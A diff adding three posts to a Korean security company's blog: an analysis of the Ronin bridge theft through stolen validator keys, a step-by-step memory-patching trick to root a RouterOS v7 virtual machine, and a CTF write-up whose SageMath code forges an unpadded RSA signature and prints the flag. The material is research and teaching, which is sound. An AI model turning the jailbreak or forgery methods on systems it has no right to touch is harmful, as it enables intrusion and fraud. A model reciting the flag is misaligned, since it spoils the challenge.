사이드체인은 서로 다른 블록체인들 위에 존재하는 자산들을 쉽게 거래할 수 있도록 하는 기술이다. +만약 모든 데이터를 Main Chain의 노드 안에 넣어 처리한다면 노드의 처리속도를 점점 느리게할 것이며, Main Chain에서 점점 많아지는 노드의 수로 인해서 발생하는 합의시간의 증가는 메인체인에서의 많은 문제점을 야기할 것이다..

+ +

TPS는 점점 느려질 수 밖에 없고 수수료의 값은 점점 올라가게 되는 것이다.

+ +

이러한 문제로 암호화폐의 상용성에 대해 많은 문제제기를 하게 되고 이에 대한 해결책으로 사이드체인이 등장하게 되었다.

+ +

Main Chain에 있는 자산을 Side Chain으로 옮겨 Transaction을 처리한다.

+ +

Side Chain에서 복수의 Transaction이 모두 끝나면 다시 중요한 정보만을 Main Chain로 보내주고 저장함으로써 Transaction을 상당히 간소화시킬 수 있다.

+ +

즉, Main Chain에서 모든 Transaction을 처리하는 것이 아니라 Side Chain이 Main Chain이 할 일을 나누어 도와주는 것이라고 할 수 있다.

+ +

무슨일이 일어난건가?

+
+

The Ronin bridge has been exploited for 173,600 Ethereum and 25.5M USDC. The Ronin bridge and Katana Dex have been halted. +(Twitter @Ronin_Network)

+
+ +

위의 트윗 내용에 따르면 173,600 Ethereum과 25.5M USDC가 유출되었다고 하며, 이를 확인한 즉시 Ronin Bridge와 Katana Dex는 운영을 중단했다고 한다.

+ +

다소 놀라운 것은 Ronin Bridge에서 자금이 유출되고 6일이 경과한 후에 일반 사용자가 자신의 자산을 출금하지 못한다는 문의로 인해 사고의 발생을 알게된 것이다.

+ +

어떻게 발생한건가?

+

Ronin network는 Ethereum network의 side chain으로써 기본적으로 Ethereum network에서 발생하는 다량의 transaction을 Ethereum network보다 비교적 속도가 빠르고 낮은 수수료를 소비하는 Ronin network에서 처리하고 그 결과만을 Ethereum network에 반영한다.

+ +

이러한 과정 중에 서로 다른 network로부터 오고가는 transaction의 유효성을 검증하기 위해서 validator라는 요소를 두게 된다.

+ +

image

+ +

위 사진은 블록체인 트릴레마라고 불리우는 난제이며, 모든 블록체인 네트워크에서 위 사진의 3가지를 효과적으로 해결할 수 있는 것을 목표로 하고 있다.

+ +

Ronin network에서 validator의 수를 결정할 때 블록체인 트릴레마에 대한 것을 생각해보면 Security와 Scalability는 trade-off관계임을 알 수 있다.

+ +

validator의 수를 많이 두자니 보안이 향상될 것이나 성능이 저하될 것이고, validator의 수를 적게 두자니 성능이 향상될 것이나 성능이 저하될 것이다.

+ +

이러한 이유로 인해서 Ronin network에서는 어느정도 보안을 포기하고 성능을 챙기려고 했던건지 validator의 수를 적게 둔 것이 취약점의 시발점이었다.

+ +

보안사고가 터진 것을 인식하기 전 Ronin network는 총 9개의 validator로 구성되어있었고, 5개의 validator 이상이 승인하면 유효한 transaction으로 승인되었다.

+ +

여기서 공격자는 validator 4개의 private key를 갖고있었고 특정 방법(?, Ronin network의 rpc node를 통해 axie dao 소유의 validator private key에 접근할 수 있는 백도어가 있었다고하는데 정확한 보고서나 직접 확인을 하기 위한 RPC Node 주소가 공개되어있지 않은듯함.)으로 인해서 Axie DAO가 운영하는 validator의 private key를 얻을 수 있었으며, 이를 악용하여 Ronin network에서는 실제로 자산이 없는데 자산이 있는 것처럼 속여 Ethereum network로 transaction을 보냈다.

+ +

Ethereum network에 존재하는 Ronin Network Contract는 이를 정상적인 transaction으로 인식하여 지정된 수신자에게 +173,600 Ethereum25.5M USDC를 송신했다.

+ +

Ronin Network에서 자금을 유출하기 위해서 사용한 validator의 주소는 다음과 같다.

+ + +

분석을 하면서 나온 결론은 해당 사고는 Smart Contract Code Level에서 발생한 것이 아니라 Ronin Network의 한축을 담당하고 있는 validator의 private key 유출로 인해서 벌어진 일이라는 것이다.

+ +

범인을 특정할 수 있을까?

+

아래의 주소는 공개된 공격자의 지갑 주소이다.

+ + +

보통 블록체인 상에서 보안사고가 발생하면 공격자는 유출한 금액을 Tornado.cash나 다른 mixer를 이용해서 자금의 추적을 어렵게하는데 해당 사고의 공격자는 상당히 대범하게 곧바로 binance, FTX, huobi의 핫월렛에 입금하는 것을 볼 수 있다.

+ + + +

입출금한 거래소가 KYC를 요구하는 거래소라는 점을 생각해볼 때 얼마 지나지않아 공격자의 신원이 특정될 것으로 예상한다.

+ +

어떻게 조치를 하고있는가?

+

우선 9개의 validator 중 공격에 사용된 validator의 권한을 정지시켰으며, 기존에 9개의 validator 중 5개의 validator만 승인했던 것에서 8개 이상의 validator가 승인해야만 정상적인 transaction 승인 받도록 변경되었다.

+ +

이것은 미봉책에 불과하며, 향후 validator의 수를 늘릴 것으로 공표했다.

+ +

비슷한 유형의 사건이 있을까?

+ + +

정리하며

+

기존에 본인이 분석해왔던 블록체인 쪽의 보안사고와는 다소 다른 유형의 사고였다. +지금까지 Smart contract의 Code level상의 취약점만 보다가 Architecture 상 중요한 역할을 하는 EOA의 private key가 유출되어서 그것이 플랫폼 자금의 유출로 이어지는 사건은 처음 분석해보았다. +이로 인해 느낀점은 Smart Contract상에서 Code 뿐만 아니라 구성하고있는 EOA에 대한 보안도 신경써서 관리해야함을 다시한번 깨달았다.

+ +
+
+
+ +
+
+
한호정
+
hjhan@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2022-06-01/how-to-root-your-routeros-v7-virtual-machine.html b/docs/2022-06-01/how-to-root-your-routeros-v7-virtual-machine.html new file mode 100644 index 0000000..7d2e8a9 --- /dev/null +++ b/docs/2022-06-01/how-to-root-your-routeros-v7-virtual-machine.html @@ -0,0 +1,292 @@ + + + + + + + + + + +How to root your RouterOS v7 Virtual Machine + +How to root your RouterOS v7 Virtual Machine | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
How to root your RouterOS v7 Virtual Machine
+
+
+ + 오세준 +
+
Jun 1, 2022
+
+
+
+
+
+

How to root your RouterOS v7 Virtual Machine

+ +

Finding vulnerabilities in RouterOS is tricky, and this is especially because it does not provide a shell environment like ash or bash.

+ +

Many vulnerability researchers working on RouterOS felt the same and found various ways to enable the root shell on RouterOS. Unfortunately, most of the methods are no longer available on the latest RouterOS version.

+ +

Thankfully, there is a way to jailbreak RouterOS v7 using netboot functionality. This method achieves a root shell by booting through a modified kernel image. However, You need an actual RouterBOARD to use this method, and it is a bit complicated process to generate a modified kernel image and network boot through it.

+ +

While researching RouterOS, we eventually wanted to use virtual machines as a testing environment for various reasons. The netboot jailbreak method doesn’t work on virtual machines. So we had to find another way to acheive the root shell, and we did.

+ +

This article suggests a simple trick to get a temporary root shell on RouterOS which can only be used on virtual machines and is easy to use.

+ +

Previously on RouterOS…

+ +

RouterOS has a hidden “devel” login which is only enabled when specific conditions are met. When enabled, RouterOS gives you an ash shell if you login with id “devel” via telnet. Most of the RouterOS jailbreaking methods focus on enabling the “devel” login.

+ +

Before RouterOS version 6.41, There were two options to enable the “devel” login feature.

+
    +
  • ‘option’ package is installed.
  • +
  • /nova/etc/devel-login file exists.
  • +
+ +

/nova/etc/devel-login was removed in version 6.41. So the only option left is the ‘option’ package.

+ +

‘devel’ login on RouterOS v7

+ +

When the telnet connection is made, RouterOS uses /nova/bin/login binary for login authentication. This binary contains the code that checks whether the “devel” login option is enabled or not by checking the ‘option’ package.

+ +

/nova/bin/login checks if the ‘option’ package is installed by executing nv::hasOptionPackage function. By analyzing /lib/libumsg.so library, you can see that nv::hasOptionPackage is equaviliant to nv::hasPackage(“option”).

+ +

In RouterOS v7, nv::hasPackage returns true only when the following conditions are met

+
    +
  • If the target is a symbolic link, it should point to “/bndl/(package_name)” which is located in the read-only file system.
  • +
  • If the target is not a symbolic link, it should be stored in the read-only(squashfs) file system.
  • +
+ +

It is hard to bypass the nv::hasPackage function unless we have an arbitrary code execution vulnerability. Even if we somehow managed to pass the nv::hasPackage(“option”) check, the login binary explicitly executes “/pckg/option/bin/bash” as shell which does not exist by default. we still need to somehow write the shell binary on the location.

+ +

Simple trick

+ +

So, bypassing the “option” package verifying code is not easy, Unless we can change the program code itself. But that would require you to modify the code running on the live memory. That… is impossible. Isn’t it?

+ +

Wait, actually it is possible! Of course, it is. It’s a ‘virtual’ machine after all.

+ +

What if the login binary checks for an “ipv6” package instead of the “option” package? What if the login binary executes “/rw/disk/bash” as shell instead of “/pckg/option/bin/bash”?

+ +

We can make that happen.

+ +

How to root your RouterOS VM

+ +

What you need:

+
    +
  • Ubuntu VM
  • +
  • RouterOS x86 ISO Image
  • +
  • VMWare Workstation
  • +
+ +

Step:

+
    +
  1. +

    First, install RotuerOS on your VM. After the installation, turn the VM off.

    +
  2. +
  3. +

    Attach RouterOS VM’s Disk to Ubuntu VM

    +
  4. +
  5. +

    Boot the Ubuntu VM, and browse into RouterOS Disk’s volume called ‘RouterOS’. Go to /RW/disk/ and execute the following command to download the busybox binary. Exit the Ubuntu VM.

    +
  6. +
+ +
$ sudo mkdir busybox && cd busybox
+$ sudo wget -O ash https://www.busybox.net/downloads/binaries/1.31.0-i686-uclibc/busybox_ASH
+$ sudo wget https://www.busybox.net/downloads/binaries/1.31.0-i686-uclibc/busybox
+$ chmod a+x ash busybox
+
+ +
    +
  1. +

    Boot RouterOS VM and make several login attempts with the invalid credential.

    +
  2. +
  3. +

    Suspend the RouterOS VM. Go to the RouterOS VM folder and open vmem file with hex editor.

    +
  4. +
  5. +

    Find & Replace as follows

    +
  6. +
+ +
Original: 00 2F 62 6E 64 6C 2F 00 6F 70 74 69 6F 6E 00
+Replaced: 00 2F 62 6E 64 6C 2F 00 69 70 76 36 00 00 00
+
+Original: 00 2F 70 63 6B 67 2F 6F 70 74 69 6F 6E 2F 62 69 6E 2F 62 61 73 68 00
+Replaced: 00 2F 72 77 2F 64 69 73 6B 2F 62 75 73 79 62 6F 78 2F 61 73 68 00 00
+
+ +
    +
  1. +

    Save the vmem file. Resume the RouterOS VM

    +
  2. +
  3. +

    Login with devel/(admin’s password)

    +
  4. +
  5. +

    You will get a shell. If not, repeat the process from stage 4.

    +
  6. +
  7. Execute the following commands to install the busybox. +
    cd /rw/disk/busybox
    +./busybox --install -s .
    +PATH=$PATH:/rw/disk/busybox/
    +
    +
  8. +
  9. If everything is done correctly, you should get an ash shell with busybox as the screenshot. +picture 4
  10. +
+ +

Limitation

+ +

This is a ‘simple trick’ method and the shell is not persistent. If you reboot the RouterOS VM, you will have to repeat the process from stage 4.

+ +
+
+
+ +
+
+
오세준
+
sjoh@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
이주협, 이주영
+
+
+
+ +
+ 뉴비들의 하드웨어 해킹 입문기 +
+
+
뉴비들의 하드웨어 해킹 입문기
+ +
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+
+ +
+ diff --git a/docs/2022-06-08/homomorphism-in-rsa.html b/docs/2022-06-08/homomorphism-in-rsa.html new file mode 100644 index 0000000..51171ba --- /dev/null +++ b/docs/2022-06-08/homomorphism-in-rsa.html @@ -0,0 +1,542 @@ + + + + + + + + + + +Homomorphism in RSA + +Homomorphism in RSA | STEALIEN Technical Blog + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
Homomorphism in RSA
+
+
+ + 박지원 +
+
Jun 8, 2022
+
+
+
+
+
+

Homomorphism in RSA

+ +

서론

+ +

001_markus-spiske-iar-afB0QQw-unsplash_edit.jpg

+ +

해킹에 관심을 가지게 된 사람이라면 누구든지 그 실력을 기르기 위해 워게임(Wargame) 사이트에서 문제들을 풀거나 CTF(Capture The Flag) 대회에 출전해 본 적이 있을 것이다. 웹(Web), 리버싱(Reversing), 포너블(Pwnable) 등 여러 분야의 문제들을 만나볼 수 있는데, 특별한 경우를 제외하고 항상 등장하는 분야가 있다. 바로 암호학(Cryptography) 분야이다.

+ +

자주 등장하는 만큼 패기 있게 문제를 풀어보려 하지만 암호학 분야의 문제를 처음 접해보는 사람이라면 누구든지 괴상하게 뒤죽박죽 섞여 있거나 숫자로만 되어 있는 암호문을 받아보며 이것을 풀어서 정답을 제출하라는 말에 어떻게 해야 할지 시작부터 막막했던 경험이 있을 것이다.

+ +

이번 글에서는 암호학이라는 분야에 대해 막연히 어렵고 복잡하다고 생각하는 사람들을 위해 암호학 분야의 워게임 문제에서 가장 흔하게 나오고 실제 필드에서도 많이 쓰이는 공개키 암호화 기법의 기본 중의 기본, RSA 와 관련된 문제를 풀어보며 암호학이라는 게 그렇게 어렵고 막막하기만 한 것은 아니라는 점을 배워갈 수 있다면 좋겠다.

+ +
+ +

본론

+ +

그래서 RSA 가 뭔가요?

+ +

002_RSA_inventors.jpeg

+ +

RSA 는 1978년에 최초로 이 암호시스템을 연구하여 체계화시킨 Ron Rivest, Adi Shamir, Leonard Adleman 의 이름 앞 글자를 따 만들어진 암호화뿐만 아니라 전자서명까지 가능한 최초의 알고리즘이다.

+ +

이 RSA 의 강력함은 다음 두 가지에서 나온다.

+ +
    +
  1. 암/복호화, 서명/검증에 필요한 수학적인 계산 과정이 굉장히 간단하고 빠르다는 것.
  2. +
  3. 큰 숫자의 소인수분해의 어려움을 이용한 강력한 안전성을 제공하고 있다는 것.
  4. +
+ +

위 두 가지의 강점으로 인해 현재까지도 RSA 는 널리 쓰이고 있다.

+ +

다음으로는 왜 RSA 의 강점을 위 두 가지로 꼽았는지 키 생성부터 암/복호화, 서명/검증 과정을 살펴보며 알아보도록 하겠다.

+ +

RSA 키 생성

+ +
    +
  1. 서로 다른 소수 p, q 를 랜덤하게 선택한다.
  2. +
  3. +

    n = p * q 를 계산한다. +003_n=pq.png

    +
  4. +
  5. n 에 대하여 오일러 피 함수(Euler’s phi (totient) function) 또는 카마이클 함수(Carmichael function) 중 하나를 선택하여 계산한다. + +
  6. +
  7. +

    3번에서 선택한 수와 서로소인 정수 e 를 고른다.

    + +

    (두 정수 a, b 의 최대공약수(gcd)가 1 이면 둘은 서로소이다.)

    + +

    (두 수가 서로소가 아니면 모듈러 역원을 구할 수 없다 → 개인키를 구할 수 없다.)

    + +

    006_gcd_coprime.png

    + +

    (일반적으로 계산의 효율성을 위해 페르마 수(Fermat Number)가 선택된다.)

    + +

    007_Fermat_numbers.png

    +
  8. +
  9. +

    정수 e 에 대한 모듈러 역원인 d 를 계산한다. +008_private_key_d.png

    +
  10. +
  11. 위에서 계산한 값들 중 n, e 를 공개키로써 배포하고, d 를 개인키로써 절대 노출되지 않게 한다. +009_keys.png
  12. +
+ +

이제 해당 공개키를 이용하여 누구든지 메시지를 암호화해서 보내면 개인키를 가지고 있는 소유자만 해당 메시지를 복호화할 수 있다. 그렇다면 암/복호화는 어떻게 수행될까? 한번 살펴보자.

+ +

RSA 암호화

+ +

010_enc.png

+ +

RSA 복호화

+ +

011_dec.png

+ +

위와 같이 정말 간단하게 암/복호화가 수행되며 이에 대한 증명은 RSA 위키에 상세하게 나와있다.

+ +

(페르마 소정리, 오일러 정리를 이용하여 증명함)

+ +

이번에는 서명/검증이 어떻게 수행되는지 살펴보자.

+ +

RSA 서명

+ +

012_sign.png

+ +

RSA 검증

+ +

013_verify.png

+ +

암/복호화 과정과 순서만 바뀌었을 뿐 거의 동일하게 서명/검증이 수행되며 서명 시 개인키 d 를 이용해 서명이 되기 때문에 누구에게나 공개되는 e 를 이용해 메시지 m 을 복원할 수 없도록 해시 함수를 이용하여 메시지 m 의 해시값인 h 에 서명을 진행하도록 한다.

+ +

메시지에 대한 서명이 완료되었다면 암호화된 메시지와 서명을 함께 전송하고 이후 검증 단계에서는 복호화된 메시지의 해시값과 s^e (mod n) 을 계산하여 나온 해시값 h 를 비교하여 일치하는지 확인하면 된다.

+ +

이제 RSA 시스템에 대한 기본적인 개념을 배웠으니 흥미로운 속성 하나를 추가로 알려주려고 한다.

+ +

준동형 사상(Homomorphism)

+ +

준동형 사상이란 대수학에서 구조상 닮은 두 대수 구조의 모든 연산 및 관계를 보존하는 경우를 말한다. 쉽게 말하자면, 어떠한 함수 f(x) 가 있다고 할 때 f(a * b)f(a) * f(b) 와 같다는 것이다 (나눗셈도 마찬가지). 이는 신기하게도 RSA 에도 그대로 적용이 되는데 평문 ma * b 라고 할 때 c ≡ m^e (mod n) 과 c ≡ (a * b)^e ≡ a^e * b^e (mod n) 이 서로 일치한다. 이는 서명에서도 마찬가지이며 예시를 통해 확인해보자.

+ +

예시

+ +
    +
  1. +

    임의의 소수 p, q 선택 +014_pq.png

    +
  2. +
  3. +

    n = p * q 계산 +015_n=pq=3233.png

    +
  4. +
  5. +

    오일러 피함수 계산 +016_phi(n).png

    +
  6. +
  7. +

    오일러 피함수와 서로소인 정수 e 선택 +017_e=17.png

    +
  8. +
  9. +

    개인키 d 계산 +018_private_key_d.png

    +
  10. +
  11. +

    평문 m = a * b 라고 할 때 암호화 과정 비교 +019_enc.png

    +
  12. +
  13. +

    서명 과정 비교 (계산 편의를 위해 해시 함수는 미적용) +020_sign.png

    +
  14. +
+ +

CTF 의 RSA 문제에서 위 속성을 이용한 문제가 꽤나 자주 출제되며 한번 실제로 출제된 문제를 풀어보며 어떤 식으로 응용되는지 살펴보자.

+ +

문제 풀이

+ +
    +
  • LINECTF2022
  • +
+ + + + + + + + + + + + + + + + + + + + + + +
문제명X Factor
난이도Easy
설명Decrypt it!
제공파일x_factor.md
+ +

먼저, 제공된 파일을 열어서 확인해보자.

+ +

» Part 1

+ +
I have generated a RSA-1024 key pair:
+* public key exponent: 0x10001
+* public key modulus: 0xa9e7da28ebecf1f88efe012b8502122d70b167bdcfa11fd24429c23f27f55ee2cc3dcd7f337d0e630985152e114830423bfaf83f4f15d2d05826bf511c343c1b13bef744ff2232fb91416484be4e130a007a9b432225c5ead5a1faf02fa1b1b53d1adc6e62236c798f76695bb59f737d2701fe42f1fbf57385c29de12e79c5b3
+
+ +

첫번째로 RSA 공개키 쌍(Public Exponent: e, Public Modulus: n)을 16진수 형태로 제공해주고 있다.

+ +

» Part 2

+ +
Here are some known plain -> signature pairs I generated using my private key:
+* 0x945d86b04b2e7c7 -> 0x17bb21949d5a0f590c6126e26dc830b51d52b8d0eb4f2b69494a9f9a637edb1061bec153f0c1d9dd55b1ad0fd4d58c46e2df51d293cdaaf1f74d5eb2f230568304eebb327e30879163790f3f860ca2da53ee0c60c5e1b2c3964dbcf194c27697a830a88d53b6e0ae29c616e4f9826ec91f7d390fb42409593e1815dbe48f7ed4
+* 0x5de2 -> 0x3ea73715787028b52796061fb887a7d36fb1ba1f9734e9fd6cb6188e087da5bfc26c4bfe1b4f0cbfa0d693d4ac0494efa58888e8415964c124f7ef293a8ee2bc403cad6e9a201cdd442c102b30009a3b63fa61cdd7b31ce9da03507901b49a654e4bb2b03979aea0fab3731d4e564c3c30c75aa1d079594723b60248d9bdde50
+* 0xa16b201cdd42ad70da249 -> 0x9444e3fc71056d25489e5ce78c6c986c029f12b61f4f4b5cbd4a0ce6b999919d12c8872b8f2a8a7e91bd0f263a4ead8f2aa4f7e9fdb9096c2ea11f693f6aa73d6b9d5e351617d6f95849f9c73edabd6a6fde6cc2e4559e67b0e4a2ea8d6897b32675be6fc72a6172fd42a8a8e96adfc2b899015b73ff80d09c35909be0a6e13a
+* 0x6d993121ed46b -> 0x2b7a1c4a1a9e9f9179ab7b05dd9e0089695f895864b52c73bfbc37af3008e5c187518b56b9e819cc2f9dfdffdfb86b7cc44222b66d3ea49db72c72eb50377c8e6eb6f6cbf62efab760e4a697cbfdcdc47d1adc183cc790d2e86490da0705717e5908ad1af85c58c9429e15ea7c83ccf7d86048571d50bd721e5b3a0912bed7c
+* 0x726fa7a7 -> 0xa7d5548d5e4339176a54ae1b3832d328e7c512be5252dabd05afa28cd92c7932b7d1c582dc26a0ce4f06b1e96814ee362ed475ddaf30dd37af0022441b36f08ec8c7c4135d6174167a43fa34f587abf806a4820e4f74708624518044f272e3e1215404e65b0219d42a706e5c295b9bf0ee8b7b7f9b6a75d76be64cf7c27dfaeb
+* 0x31e828d97a0874cff -> 0x67832c41a913bcc79631780088784e46402a0a0820826e648d84f9cc14ac99f7d8c10cf48a6774388daabcc0546d4e1e8e345ee7fc60b249d95d953ad4d923ca3ac96492ba71c9085d40753cab256948d61aeee96e0fe6c9a0134b807734a32f26430b325df7b6c9f8ba445e7152c2bf86b4dfd4293a53a8d6f003bf8cf5dffd
+* 0x904a515 -> 0x927a6ecd74bb7c7829741d290bc4a1fd844fa384ae3503b487ed51dbf9f79308bb11238f2ac389f8290e5bcebb0a4b9e09eda084f27add7b1995eeda57eb043deee72bfef97c3f90171b7b91785c2629ac9c31cbdcb25d081b8a1abc4d98c4a1fd9f074b583b5298b2b6cc38ca0832c2174c96f2c629afe74949d97918cbee4a
+
+ +

두번째로 (평문 - 서명) 쌍 7 개를 16진수 형태로 제공해주고 있다.

+ +

» Part 3

+ +
**What is the signature of 0x686178656c696f6e?**
+
+Take the least significant 16 bytes of the signature, encode them in lowercase hexadecimal and format it as `LINECTF{sig_lowest_16_bytes_hex}` to obtain the flag.
+E.g. the last signature from the list above would become `LINECTF{174c96f2c629afe74949d97918cbee4a}`.
+
+ +

세번째로 평문 0x686178656c696f6e서명이 무엇인지 맞춰보라며 서명의 16진수 형태의 마지막 16 바이트를 FLAG 형식에 맞춰 제출하면 된다고 한다.

+ +

현재 우리가 알고 있는 정보는 공개키(e, n)(평문 - 서명) 쌍 7개, 그리고 FLAG 인 서명을 구하기 위해 필요한 평문 0x686178656c696f6e 뿐이다. 의미를 알 수 없는 16진수 형태의 숫자로만 가득한 텍스트로부터 어떻게 개인키 d 도 없이 서명을 구할 수 있을까?

+ +

바로 위에서 배운 준동형 사상(Homomorphism)을 이용하여 풀면 된다.

+ +

먼저 평문 0x686178656c696f6e 을 소인수분해 해보면 다음과 같다 (SageMath 의 factor 함수):

+ +
# Implemented in SageMath
+target = 0x686178656c696f6e   # 7521425229691318126
+factor(target)   # 2 * 197 * 947 * 2098711 * 9605087
+
+ +

위와 같이 5 개의 소인수의 곱으로 평문을 표현할 수 있다는 것을 알 수 있다. (m = a * b * c * d * e)

+ +

이번에는 주어졌던 (평문 - 서명) 쌍에서 평문들만 소인수분해 해보면 다음과 같다:

+ +
pt1 = 0x945d86b04b2e7c7
+pt2 = 0x5de2
+pt3 = 0xa16b201cdd42ad70da249
+pt4 = 0x6d993121ed46b
+pt5 = 0x726fa7a7
+pt6 = 0x31e828d97a0874cff
+pt7 = 0x904a515
+pts = [pt1, pt2, pt3, pt4, pt5, pt6, pt7]
+
+for i in range(7):
+    print(f"pt{i+1}: ", pts[i])
+    print(f"factor(pt{i+1}): ", factor(pts[i]))
+    print()
+
+'''
+[+] Output: 
+pt1:  668178073886320583
+factor(pt1):  811 * 947^3 * 970111
+
+pt2:  24034
+factor(pt2):  2 * 61 * 197
+
+pt3:  12196433909207788967273033
+factor(pt3):  970111 * 2098711^2 * 2854343
+
+pt4:  1928075547694187
+factor(pt4):  947 * 970111 * 2098711
+
+pt5:  1919920039
+factor(pt5):  61 * 197^2 * 811
+
+pt6:  57538707471611677951
+factor(pt6):  2098711 * 2854343 * 9605087
+
+pt7:  151299349
+factor(pt7):  197 * 811 * 947
+'''
+
+ +

신기하게도 몇몇 소인수들이 평문 0x686178656c696f6e소인수들과 겹친다는 것을 확인할 수 있다. 소인수가 겹치는게 뭐 어떻길래 그런걸까? 우리는 7 개의 (평문 - 서명) 쌍을 알고 있기 때문에 해당 평문을 잘 조합해서 평문 0x686178656c696f6e 과 일치하게 만든다면 RSA 에서의 준동형 사상으로 인해 평문 0x686178656c696f6e 에 개인키 d 를 이용하여 계산한 서명과 동일한 서명을 개인키 d 없이도 구할 수 있게 된다.

+ +

이게 무슨 소리?

+ +

위에서 평문 0x686178656c696f6e 이 5 개의 소인수의 곱 형태로 표현이 가능하다는 것을 알았다.

+ +

021_m_factor.png

+ +

우리는 개인키 d 를 모르기 때문에 m 에 대한 서명을 구할 수 없지만, 7 개의 (평문 - 서명) 쌍을 알고 있고 각 평문의 소인수가 평문 0x686178656c696f6e 의 소인수와 겹치기 때문에 곱하기와 나누기를 적절히 이용하여 평문 0x686178656c696f6e 과 일치하는 수를 구할 수 있다면 해당 수를 구했을 때의 식과 동일하게 7 개의 서명에 적용하여 계산하면 평문 0x686178656c696f6e 에 개인키 d 를 이용하여 계산한 서명과 동일한 서명을 개인키 d 없이도 구할 수 있게 된다는 말이다.

+ +

022_m_sign.png

+ +

023_find_m.png

+ +

024_original_signature.png

+ +

(현재로써는 곱하기, 나누기 중 어떤 연산자가 들어가야 하는지 모르기 때문에 물음표(’?’)로 두었다.)

+ +

평문 0x686178656c696f6e (target)과 일치하는 수를 구하기 위해서는 약간의 머리를 써서 7 개의 평문을 곱하고 나누면 된다. 나의 경우에는 작은 소인수를 가진 평문부터 순서대로 나열해보았다.

+ +
pt2   : 2 * 61 * 197
+pt5   :     61 * 197^2 * 811
+pt7   :          197   * 811 * 947
+pt1   :                  811 * 947^3 * 970111
+pt4   :                        947   * 970111 * 2098711
+pt3   :                                970111 * 2098711^2 * 2854343
+pt6   :                                         2098711   * 2854343 * 9605087
+-----------------------------------------------------------------------------
+target: 2      * 197         * 947            * 2098711             * 9605087
+
+ +

이제 곱하기, 나누기를 이용하여 target 과 일치하는 수를 만들면 된다.

+ +
    pt2: 2 * 61 * 197
+(/) pt5:     61 * 197^2    * 811
+-----------------------------------------------------------------------------------------
+         2      * 197^(-1) * 811^(-1)
+(*) pt7:          197      * 811      * 947
+-----------------------------------------------------------------------------------------
+         2                            * 947
+(*) pt7:          197      * 811      * 947
+-----------------------------------------------------------------------------------------
+         2      * 197      * 811      * 947^2
+(/) pt1:                     811      * 947^3    * 970111
+-----------------------------------------------------------------------------------------
+         2      * 197                 * 947^(-1) * 970111^(-1)
+(*) pt4:                                947      * 970111 * 2098711
+-----------------------------------------------------------------------------------------
+         2      * 197                                     * 2098711
+(*) pt4:                                947      * 970111 * 2098711
+-----------------------------------------------------------------------------------------
+         2      * 197                 * 947      * 970111 * 2098711^2
+(/) pt3:                                           970111 * 2098711^2 * 2854343
+-----------------------------------------------------------------------------------------
+         2      * 197                 * 947                           * 2854343^(-1)
+(*) pt6:                                                    2098711   * 2854343 * 9605087
+-----------------------------------------------------------------------------------------
+ answer: 2      * 197                 * 947               * 2098711             * 9605087
+
+Therefore, answer = pt2 / pt5 * pt7^2 / pt1 * pt4^2 / pt3 * pt6.
+
+ +

7 개의 평문을 이용하여 평문 0x686178656c696f6e (target)과 일치하는 수(answer)를 구했기 때문에 이제 7 개의 서명을 이용하여 동일한 식으로 target 의 서명을 구할 수 있다.

+ +

아래는 target 의 서명과 FLAG 를 구하기 위해 사용한 코드이다.

+ +
# Implemented in SageMath
+target = 0x686178656c696f6e
+print("target: ", target)   # 7521425229691318126
+print("factor(target): ", factor(target))   # 2 * 197 * 947 * 2098711 * 9605087
+print()
+
+answer = pt2 / pt5 * pt7^2 / pt1 * pt4^2 / pt3 * pt6
+print("answer: ", answer)   # 7521425229691318126
+print("factor(answer): ", factor(answer))   # 2 * 197 * 947 * 2098711 * 9605087
+print()
+assert target == answer
+
+# Using the same formula as answer including modular n.
+# This is possible because of the homomorphism in unpadded RSA.
+newsig = (sig2 / sig5 * sig7^2 / sig1 * sig4^2 / sig3 * sig6) % n
+print("newsig (int): ", newsig)
+# 111219533890621461179460792242241632450808153632799554790302537773885731996725665970159819970061237994467913213678895572474822930918390150774003109045699291202079975387595071497569834504251162974827309324614046581068300485342202365281472704413710935864495616184160512233863134373547246784976501532318112012352
+newsig = hex(newsig)[2:]
+print("newsig (hex): ", newsig)
+# 9e61c276f698ec48aab7dabfd663f3b2ee75d31c68bf16f6810a3bb9bb1c377e47b2ae8cd7055c7c5848bbedc94798d2965c38b317e42191df0e3f25ca2ee58c5f3e125745479b337516a13e420da29ba48a92ca2ee9720487cda6cdf070e83a4a251c52e331174a0ef642a97a251462a049347a7db8226d496eb55c15b1d840
+print()
+
+'''
+Take the least significant 16 bytes of the signature, encode them in lowercase hexadecimal and format it as `LINECTF{sig_lowest_16_bytes_hex}` to obtain the flag.
+E.g. the last signature from the list above would become `LINECTF{174c96f2c629afe74949d97918cbee4a}`.
+'''
+flag = 'LINECTF{' + str(newsig[-32:]) + '}'
+print("flag: ", flag)
+# flag:  LINECTF{a049347a7db8226d496eb55c15b1d840}
+
+ + + +
+ +

결론

+ +

025_philip-estrada-vJr3t39a0xw-unsplash_edit.jpg

+ +

지금까지 RSA 란 무엇인지, 키 생성, 암/복호화, 서명/검증은 어떻게 이루어지는지 알아보았고, 또 대수학에서의 준동형 사상(Homomorphism) 개념을 CTF 에서 자주 출제되는 유형의 RSA 문제에 적용하여 풀어보았다. 이외에도 수많은 방식의 RSA 공격 기법들이 존재하지만 대부분 위 문제 풀이에서 본 것과 같이 수학적인 개념을 가지고 사칙연산만 할 줄 안다면 금방 이해하고 그것을 문제에 적용할 수 있을 것이다.

+ +

암호를 푼다는 것은 얽히고설킨 실타래를 푸는 것과도 같다고 생각한다. 처음 문제를 접했을 때는 도무지 어떻게 이것을 풀어야 한다는 건지 감을 잡을 수조차 없지만 천천히 둘러보다 보면 문제를 해결할 수 있는 실마리를 잡을 수 있을 것이다. 이 글이 암호학 문제를 푸는 이들에게 좋은 시작점이 되기를 기원하며 글을 마무리하도록 하겠다.

+ +
+
+
+ +
+
+
박지원
+
